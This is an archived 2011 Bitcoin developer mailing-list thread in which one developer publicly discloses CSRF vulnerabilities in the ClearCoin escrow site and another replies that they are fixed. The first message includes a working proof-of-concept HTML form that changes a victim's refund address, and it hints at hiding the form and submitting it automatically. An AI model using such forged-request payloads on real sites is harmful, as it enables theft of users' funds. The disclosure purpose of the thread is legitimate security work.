LearnBitcoin

Bitcoin Dev Archive 2011

Bitcoin fun day!

3 messages, 19 Jun 2011. Started by Douglas Huff.

Douglas Huff (2), Gavin Andresen

Permalink Original thread on gnusha.org

Douglas Huff permalink original

In light of recent events in the "bitcoin community" I have decided that private disclosure of issues is doing nothing but making them more prevalent.

In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .

This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.

Things tested:
  Changing refund address.
  Releasing funds.
POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
  <body>
  <form id="refund_address_form" action="https://clearcoin.appspot.com/set_refund_address" method="POST">
      <label for="refund_address">Your bitcoin address:</label>
      <input type="text" name="refund_address" id="refund_address" size="60" value="PUT ANY ADDRESS HERE"
             class="text ui-widget-content ui-corner-all" autofocus required placeholder="refund bitcoin address"/> (required)
  </form>
  </body>
</html>
==========

Javascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.

This site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.

You should know better Gavin.

Gavin Andresen in reply to Douglas Huff permalink original

Some of us take private disclosures of vulnerabilities very seriously.

In any case, the ClearCoin CSRF vulnerability is fixed. Thank you for bringing it to my attention.

On Sun, Jun 19, 2011 at 5:54 PM, Doug Huff <dhuff@jrbobdobbs•org> wrote:

Quoted text (3 lines)
> In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .
>
> This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.
Douglas Huff in reply to Gavin Andresen permalink original

I know. Please do not take this as a personal attack. Blame MagicalTux's irresponsible behaviour as of late. :( On Jun 19, 2011 5:34 PM, "Gavin Andresen" <gavinandresen@gmail•com> wrote:

Quoted text (7 lines)
> Some of us take private disclosures of vulnerabilities very seriously.
>
> In any case, the ClearCoin CSRF vulnerability is fixed. Thank you for
> bringing it to my attention.
>
> On Sun, Jun 19, 2011 at 5:54 PM, Doug Huff <dhuff@jrbobdobbs•org> wrote:
>> In light of this decision I would like to report multiple CSRF

vulnerabilities in http://clearcoin.appspot.com .

Quoted text (2 lines)
>>
>> This set of CSRFs are particularly nasty since this is hosted on appspot

and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.

Quoted text (6 lines)
>
>
> --
> --
> Gavin Andresen
> http://clearcoin.com/